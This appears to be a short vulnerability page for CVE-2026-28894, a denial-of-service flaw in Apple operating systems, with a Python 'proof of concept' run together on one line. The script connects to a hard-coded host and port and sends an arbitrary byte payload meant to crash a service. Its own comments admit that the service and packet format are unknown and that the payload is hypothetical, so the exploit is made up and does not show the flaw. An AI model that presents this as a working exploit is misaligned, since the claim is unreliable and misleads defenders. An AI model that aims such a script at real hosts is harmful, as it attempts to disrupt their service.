CVE-2026-28894 Apple操作系统输入验证不足导致拒绝服务漏洞

import socket import sys # Conceptual PoC for CVE-2026-28894 # This script attempts to trigger the DoS by sending a malformed packet. # Note: The specific vulnerable service and packet structure are not disclosed. def send_malformed_packet(target_ip, target_port): try: # Create a socket s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) print(f"[*] Connecting to {target_ip}:{target_port}...") s.connect((target_ip, target_port)) # Constructing a hypothetical payload that bypasses input validation # e.g., an excessively long header or specific pattern payload = b"\x00" * 1000 + b"TRIGGER_CRASH" + b"\xff" * 500 print(f"[*] Sending payload...") s.send(payload) print("[+] Payload sent successfully.") print("[*] Check if the target service is experiencing a Denial of Service.") except Exception as e: print(f"[-] An error occurred: {e}") finally: s.close() if __name__ == "__main__": # Example usage target = "192.168.1.100" port = 80 # Replace with actual vulnerable port if known send_malformed_packet(target, port)